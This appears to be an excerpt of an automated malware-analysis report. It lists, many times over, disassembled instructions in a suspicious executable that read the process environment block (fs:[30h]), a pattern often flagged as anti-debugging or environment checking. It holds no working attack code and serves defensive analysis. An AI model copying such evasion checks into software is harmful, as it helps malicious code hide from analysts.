Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F3884 mov eax, dword ptr fs:[00000030h]	5_2_015F3884
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F3884 mov eax, dword ptr fs:[00000030h]	5_2_015F3884
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AF0BF mov ecx, dword ptr fs:[00000030h]	5_2_015AF0BF
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AF0BF mov eax, dword ptr fs:[00000030h]	5_2_015AF0BF
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AF0BF mov eax, dword ptr fs:[00000030h]	5_2_015AF0BF
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B90AF mov eax, dword ptr fs:[00000030h]	5_2_015B90AF
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A20A0 mov eax, dword ptr fs:[00000030h]	5_2_015A20A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157F358 mov eax, dword ptr fs:[00000030h]	5_2_0157F358
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157DB40 mov eax, dword ptr fs:[00000030h]	5_2_0157DB40
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A3B7A mov eax, dword ptr fs:[00000030h]	5_2_015A3B7A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A3B7A mov eax, dword ptr fs:[00000030h]	5_2_015A3B7A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157DB60 mov ecx, dword ptr fs:[00000030h]	5_2_0157DB60
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01648B58 mov eax, dword ptr fs:[00000030h]	5_2_01648B58
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163131B mov eax, dword ptr fs:[00000030h]	5_2_0163131B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F53CA mov eax, dword ptr fs:[00000030h]	5_2_015F53CA
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F53CA mov eax, dword ptr fs:[00000030h]	5_2_015F53CA
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159DBE9 mov eax, dword ptr fs:[00000030h]	5_2_0159DBE9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A03E2 mov eax, dword ptr fs:[00000030h]	5_2_015A03E2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01645BA5 mov eax, dword ptr fs:[00000030h]	5_2_01645BA5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AB390 mov eax, dword ptr fs:[00000030h]	5_2_015AB390
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2397 mov eax, dword ptr fs:[00000030h]	5_2_015A2397
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01581B8F mov eax, dword ptr fs:[00000030h]	5_2_01581B8F
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01581B8F mov eax, dword ptr fs:[00000030h]	5_2_01581B8F
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0162D380 mov ecx, dword ptr fs:[00000030h]	5_2_0162D380
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163138A mov eax, dword ptr fs:[00000030h]	5_2_0163138A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4BAD mov eax, dword ptr fs:[00000030h]	5_2_015A4BAD
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4BAD mov eax, dword ptr fs:[00000030h]	5_2_015A4BAD
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4BAD mov eax, dword ptr fs:[00000030h]	5_2_015A4BAD
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0162B260 mov eax, dword ptr fs:[00000030h]	5_2_0162B260
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0162B260 mov eax, dword ptr fs:[00000030h]	5_2_0162B260
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01648A62 mov eax, dword ptr fs:[00000030h]	5_2_01648A62
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579240 mov eax, dword ptr fs:[00000030h]	5_2_01579240
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579240 mov eax, dword ptr fs:[00000030h]	5_2_01579240
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579240 mov eax, dword ptr fs:[00000030h]	5_2_01579240
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01579240 mov eax, dword ptr fs:[00000030h]	5_2_01579240
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B927A mov eax, dword ptr fs:[00000030h]	5_2_015B927A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163EA55 mov eax, dword ptr fs:[00000030h]	5_2_0163EA55
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01604257 mov eax, dword ptr fs:[00000030h]	5_2_01604257
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157AA16 mov eax, dword ptr fs:[00000030h]	5_2_0157AA16
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157AA16 mov eax, dword ptr fs:[00000030h]	5_2_0157AA16
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01593A1C mov eax, dword ptr fs:[00000030h]	5_2_01593A1C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01575210 mov eax, dword ptr fs:[00000030h]	5_2_01575210
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01575210 mov ecx, dword ptr fs:[00000030h]	5_2_01575210
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01575210 mov eax, dword ptr fs:[00000030h]	5_2_01575210
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01575210 mov eax, dword ptr fs:[00000030h]	5_2_01575210
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01588A0A mov eax, dword ptr fs:[00000030h]	5_2_01588A0A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159A229 mov eax, dword ptr fs:[00000030h]	5_2_0159A229
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163AA16 mov eax, dword ptr fs:[00000030h]	5_2_0163AA16
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163AA16 mov eax, dword ptr fs:[00000030h]	5_2_0163AA16
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B4A2C mov eax, dword ptr fs:[00000030h]	5_2_015B4A2C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B4A2C mov eax, dword ptr fs:[00000030h]	5_2_015B4A2C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2ACB mov eax, dword ptr fs:[00000030h]	5_2_015A2ACB
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2AE4 mov eax, dword ptr fs:[00000030h]	5_2_015A2AE4
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AD294 mov eax, dword ptr fs:[00000030h]	5_2_015AD294
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AD294 mov eax, dword ptr fs:[00000030h]	5_2_015AD294
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158AAB0 mov eax, dword ptr fs:[00000030h]	5_2_0158AAB0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158AAB0 mov eax, dword ptr fs:[00000030h]	5_2_0158AAB0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AFAB0 mov eax, dword ptr fs:[00000030h]	5_2_015AFAB0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015752A5 mov eax, dword ptr fs:[00000030h]	5_2_015752A5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015752A5 mov eax, dword ptr fs:[00000030h]	5_2_015752A5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015752A5 mov eax, dword ptr fs:[00000030h]	5_2_015752A5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015752A5 mov eax, dword ptr fs:[00000030h]	5_2_015752A5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015752A5 mov eax, dword ptr fs:[00000030h]	5_2_015752A5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01597D50 mov eax, dword ptr fs:[00000030h]	5_2_01597D50
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B3D43 mov eax, dword ptr fs:[00000030h]	5_2_015B3D43
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F3540 mov eax, dword ptr fs:[00000030h]	5_2_015F3540
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01623D40 mov eax, dword ptr fs:[00000030h]	5_2_01623D40
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159C577 mov eax, dword ptr fs:[00000030h]	5_2_0159C577
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159C577 mov eax, dword ptr fs:[00000030h]	5_2_0159C577
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01648D34 mov eax, dword ptr fs:[00000030h]	5_2_01648D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163E539 mov eax, dword ptr fs:[00000030h]	5_2_0163E539
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4D3B mov eax, dword ptr fs:[00000030h]	5_2_015A4D3B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4D3B mov eax, dword ptr fs:[00000030h]	5_2_015A4D3B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A4D3B mov eax, dword ptr fs:[00000030h]	5_2_015A4D3B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0157AD30 mov eax, dword ptr fs:[00000030h]	5_2_0157AD30
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015FA537 mov eax, dword ptr fs:[00000030h]	5_2_015FA537
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01583D34 mov eax, dword ptr fs:[00000030h]	5_2_01583D34
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0163FDE2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0163FDE2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0163FDE2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163FDE2 mov eax, dword ptr fs:[00000030h]	5_2_0163FDE2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01628DF1 mov eax, dword ptr fs:[00000030h]	5_2_01628DF1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov eax, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov eax, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov eax, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov ecx, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov eax, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6DC9 mov eax, dword ptr fs:[00000030h]	5_2_015F6DC9
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158D5E0 mov eax, dword ptr fs:[00000030h]	5_2_0158D5E0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158D5E0 mov eax, dword ptr fs:[00000030h]	5_2_0158D5E0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AFD9B mov eax, dword ptr fs:[00000030h]	5_2_015AFD9B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AFD9B mov eax, dword ptr fs:[00000030h]	5_2_015AFD9B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016405AC mov eax, dword ptr fs:[00000030h]	5_2_016405AC
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016405AC mov eax, dword ptr fs:[00000030h]	5_2_016405AC
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2581 mov eax, dword ptr fs:[00000030h]	5_2_015A2581
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2581 mov eax, dword ptr fs:[00000030h]	5_2_015A2581
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2581 mov eax, dword ptr fs:[00000030h]	5_2_015A2581
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A2581 mov eax, dword ptr fs:[00000030h]	5_2_015A2581
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01572D8A mov eax, dword ptr fs:[00000030h]	5_2_01572D8A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01572D8A mov eax, dword ptr fs:[00000030h]	5_2_01572D8A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01572D8A mov eax, dword ptr fs:[00000030h]	5_2_01572D8A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01572D8A mov eax, dword ptr fs:[00000030h]	5_2_01572D8A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01572D8A mov eax, dword ptr fs:[00000030h]	5_2_01572D8A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A1DB5 mov eax, dword ptr fs:[00000030h]	5_2_015A1DB5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A1DB5 mov eax, dword ptr fs:[00000030h]	5_2_015A1DB5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A1DB5 mov eax, dword ptr fs:[00000030h]	5_2_015A1DB5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015A35A1 mov eax, dword ptr fs:[00000030h]	5_2_015A35A1
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AA44B mov eax, dword ptr fs:[00000030h]	5_2_015AA44B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160C450 mov eax, dword ptr fs:[00000030h]	5_2_0160C450
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160C450 mov eax, dword ptr fs:[00000030h]	5_2_0160C450
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159746D mov eax, dword ptr fs:[00000030h]	5_2_0159746D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6C0A mov eax, dword ptr fs:[00000030h]	5_2_015F6C0A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6C0A mov eax, dword ptr fs:[00000030h]	5_2_015F6C0A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6C0A mov eax, dword ptr fs:[00000030h]	5_2_015F6C0A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6C0A mov eax, dword ptr fs:[00000030h]	5_2_015F6C0A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01631C06 mov eax, dword ptr fs:[00000030h]	5_2_01631C06
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164740D mov eax, dword ptr fs:[00000030h]	5_2_0164740D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164740D mov eax, dword ptr fs:[00000030h]	5_2_0164740D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164740D mov eax, dword ptr fs:[00000030h]	5_2_0164740D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015ABC2C mov eax, dword ptr fs:[00000030h]	5_2_015ABC2C
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_016314FB mov eax, dword ptr fs:[00000030h]	5_2_016314FB
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6CF0 mov eax, dword ptr fs:[00000030h]	5_2_015F6CF0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6CF0 mov eax, dword ptr fs:[00000030h]	5_2_015F6CF0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F6CF0 mov eax, dword ptr fs:[00000030h]	5_2_015F6CF0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01648CD6 mov eax, dword ptr fs:[00000030h]	5_2_01648CD6
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158849B mov eax, dword ptr fs:[00000030h]	5_2_0158849B
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01648F6A mov eax, dword ptr fs:[00000030h]	5_2_01648F6A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158EF40 mov eax, dword ptr fs:[00000030h]	5_2_0158EF40
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0158FF60 mov eax, dword ptr fs:[00000030h]	5_2_0158FF60
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159F716 mov eax, dword ptr fs:[00000030h]	5_2_0159F716
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AA70E mov eax, dword ptr fs:[00000030h]	5_2_015AA70E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AA70E mov eax, dword ptr fs:[00000030h]	5_2_015AA70E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164070D mov eax, dword ptr fs:[00000030h]	5_2_0164070D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0164070D mov eax, dword ptr fs:[00000030h]	5_2_0164070D
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015AE730 mov eax, dword ptr fs:[00000030h]	5_2_015AE730
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160FF10 mov eax, dword ptr fs:[00000030h]	5_2_0160FF10
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0160FF10 mov eax, dword ptr fs:[00000030h]	5_2_0160FF10
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01574F2E mov eax, dword ptr fs:[00000030h]	5_2_01574F2E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01574F2E mov eax, dword ptr fs:[00000030h]	5_2_01574F2E
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B37F5 mov eax, dword ptr fs:[00000030h]	5_2_015B37F5
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7794 mov eax, dword ptr fs:[00000030h]	5_2_015F7794
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7794 mov eax, dword ptr fs:[00000030h]	5_2_015F7794
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015F7794 mov eax, dword ptr fs:[00000030h]	5_2_015F7794
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01588794 mov eax, dword ptr fs:[00000030h]	5_2_01588794
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_01587E41 mov eax, dword ptr fs:[00000030h]	5_2_01587E41
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163AE44 mov eax, dword ptr fs:[00000030h]	5_2_0163AE44
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0163AE44 mov eax, dword ptr fs:[00000030h]	5_2_0163AE44
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159AE73 mov eax, dword ptr fs:[00000030h]	5_2_0159AE73
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0159AE73 mov eax, dword ptr fs:[00000030h]	5_2_0159AE73
